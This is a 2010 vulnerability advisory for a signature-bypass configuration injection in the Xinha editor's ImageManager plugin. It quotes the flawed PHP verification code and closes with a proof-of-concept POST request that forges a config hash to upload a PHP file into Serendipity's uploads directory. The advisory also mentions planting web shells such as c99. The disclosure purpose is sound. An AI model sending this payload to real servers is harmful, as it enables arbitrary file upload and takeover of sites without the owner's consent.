MOPS-2010-020: Xinha WYSIWYG Plugin Configuration Injection Vulnerability

May 10th, 2010

A preauth plugin configuration injection vulnerability was discovered in the WYSIWYG editor Xinha that allows e.g. uploading arbitrary PHP files to the webserver.

Affected versions

Affected is Xinha <= 0.96 Beta 2

Risk

Critical.

Credits

The vulnerability was discovered by Stefan Esser.

About Xinha

Xinha (pronounced like Xena, the Warrior Princess) is a powerful WYSIWYG HTML editor component that works in all current browsers. Its configurabilty and extensibility make it easy to build just the right editor for multiple purposes, from a restricted mini-editor for one database field to a full-fledged website editor. Its liberal, BSD licence makes it an ideal candidate for integration into any kind of project.

Detailed information

During an audit of the Xinha WYSIWYG editor it was discovered that it contains a major security hole that allows injecting arbitrary configuration into the editor's plugins. These plugins can usually be used from everyone without being logged into the application Xinha uses. By injecting an attacker defined configuration into the ImageManager plugin it is possible to upload arbitrary files to any directory on the webserver that is writable. Often sich allows uploading malicious PHP files (e.g. c99) into the document root directory. An example for a vulnerable application is the Serendipity Weblog.

The vulnerability is caused by a logical error in the dynamic configuration feature of the Xinha editor. The editor allows PHP scripts to pass a new configuration to the plugins through the request variables. The configuration is secured by a salted SHA1 hash with the secret salt being stored in the user session. However due to a logical error in the verification an attacker can force the verification to use a secret salt known to him. This allows to inject arbitrary configurations.

To understand the vulnerability it is necessary to take a look into the config.inc.php file of the ImageManager plufin.

```
require_once(realpath(dirname(__FILE__) . '/../../contrib/php-xinha.php'));
if($passed_data = xinha_read_passed_data())
{
  $IMConfig = array_merge($IMConfig, $passed_data);
  $IMConfig['backend_url'] .= xinha_passed_data_querystring() . '&';
}
// Deprecated config passing, don't use this way any more!
elseif(isset($_REQUEST['backend_config']))
{
  if(get_magic_quotes_gpc()) {
    $_REQUEST['backend_config'] = stripslashes($_REQUEST['backend_config']);
  }

  // Config specified from front end, check that it's valid
  session_start();
  $secret = $_SESSION[$_REQUEST['backend_config_secret_key_location']];

  if($_REQUEST['backend_config_hash'] !== sha1($_REQUEST['backend_config'] . $secret))
  {
    die("Backend security error.");
  }

  $to_merge = unserialize($_REQUEST['backend_config']);
  if(!is_array($to_merge))
  {
    die("Backend config syntax error.");
  }

  $IMConfig = array_merge($IMConfig, $to_merge);
```

We will look into the xinha_passed_data_querystring() function in a minute, but first let us explore the fallback that is marked as “Deprecated config passing, don’t use this way any more!”. The purpose of this code is to verify a configuration submitted through the backend_config request variable. The verification is done against the SHA1 hash of concat(backend_config, secret), with secret being read from the users session. The problem here is that the attacker can control which session variable is used for the secret with the backend_config_secret_key_location request parameter. This means an attacke can either choose a non existing session variable name which results in an empty secret, or the name of a session variable he knows the content of. The later strongly depends on the application, but in the case of the Serendipity Weblog there is e.g. a session variable that stores the origianl HTTP referer from the first click. This value is known to the attacker, therefor creating a valid “signature” is straigth forward.

Now let us look into the non deprecated way to submit a dynamic configuration inside the xinha_read_passed_data().

```
function xinha_read_passed_data()
{
 if(isset($_REQUEST['backend_data']) && is_array($_REQUEST['backend_data']))
 {
   $bk = $_REQUEST['backend_data'];
   session_name($bk['session_name']);
   @session_start();
   if(!isset($_SESSION[$bk['key_location']])) return NULL;

   if($bk['hash']         ===
      function_exists('sha1') ?
        sha1($_SESSION[$bk['key_location']] . $bk['data'])
      : md5($_SESSION[$bk['key_location']] . $bk['data']))
   {
     return unserialize(ini_get('magic_quotes_gpc') ? stripslashes($bk['data']) : $bk['data']);
   }
 }

 return NULL;
}
```

This code suffers from the same vulnerability. An attacker can control the name of session, which is usually PHPSESSID. He can control the session variable used through the backend_data[key_location] variable and he controls the data and the hash. The only difference here is that the choosen session variable must exist, but this is not a problem in most applications, as explained above.

Proof of concept, exploit or instructions to reproduce

The following proof of concept POST request demonstrate how this vulnerability can be exploited in the real world. The demonstration exploit is designed wo work against Serendipity which uses Xinha. It will upload a harmless phpinfo() test script to the /uploads/ directory of Serendipity. It shows how easy it is for an attacker to upload arbitrary files to the webserver.

```
POST /serendipity/htmlarea/plugins/ImageManager/backend.php HTTP/1.0
Content-Type: multipart/form-data; boundary=--------890776159
Content-Length: 854

----------890776159
Content-Disposition: form-data; name="__plugin"

ImageManager
----------890776159
Content-Disposition: form-data; name="__function"

images
----------890776159
Content-Disposition: form-data; name="dir"

/
----------890776159
Content-Disposition: form-data; name="backend_config"

a:4:{s:10:"images_dir";s:17:"../../../uploads/";s:12:"allow_upload";b:1;s:13:"allow_new_dir";b:1;s:15:
----------890776159
Content-Disposition: form-data; name="backend_config_hash"

42ea250417d18fc08074eb9c4e6870a97a4158da
----------890776159
Content-Disposition: form-data; name="backend_config_secret_key_location"

exploitdummy
----------890776159
Content-Disposition: form-data; name="upload"; filename="xxx.php";
Content-Type: xxx
```

Notes

WARNING: Even if the webserver does not have writable directories this vulnerability is critical because by overwriting the plugin configuration it is possible to also trigger other problems like remote URL inclusions.

It is strongly recommended to limit access to the Xinha subdirectories to trusted IPs until an official fix is released by the Xinha developers.